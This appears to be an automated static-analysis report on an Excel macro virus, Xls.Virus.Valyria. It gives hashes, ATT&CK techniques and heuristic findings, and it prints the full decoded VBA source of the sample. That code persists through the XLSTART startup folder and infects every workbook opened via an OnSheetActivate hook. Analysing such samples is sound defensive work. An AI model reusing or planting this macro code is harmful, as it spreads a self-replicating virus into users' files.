Xls.Virus.Valyria-10004391-0 — Office (OLE) / .XLS malware analysis

Static analysis result for SHA-256 dbcbccd3e4315f99…

MALICIOUS

Office (OLE) / .XLS

170.0 KB Created: 2016-06-27 02:41:34 Authoring application: Microsoft Excel First seen: 2026-06-24
MD5: 23e14e24b91c3dc93027dbf9eacc3a54 SHA-1: 4048f8e6b3aeb4e8185a0a8ee135259401cd9791 SHA-256: dbcbccd3e4315f99dd14704878ed44e14aa3a7e5436ad0eed4f04661deff940b
168 Risk Score

Malware Insights

Xls.Virus.Valyria-10004391-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1553.005 Mark-of-the-Web Bypass

The sample is a malicious Excel file detected as Xls.Virus.Valyria-10004391-0 by ClamAV. It contains VBA macros that are designed to copy the workbook into the Excel XLSTART startup folder, establishing persistence. The Auto_Open macro also attempts to infect other workbooks by copying itself into them via an OnSheetActivate hook.

Heuristics 5

  • ClamAV: Xls.Virus.Valyria-10004391-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Virus.Valyria-10004391-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    If ThisWorkbook.Path <> Application.StartupPath Then
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = ""
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1423 bytes
SHA-256: eb49af6f947a916f62ed88dd608b626ca9f5db2558218ccba9ad0c0166c50146
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kangatang"


Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel1.xls"
Application.DisplayAlerts = Triue
Application.EnableEvents = True
Application.ScreenUpdating = True
Application.DisplayStatusBar = True


On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel1.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel1.xls!allocated"
End Sub



Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).name <> "Kangatang" Then
    Application.ScreenUpdating = True
    Application.DisplayStatusBar = True
    currentsh = ActiveSheet.name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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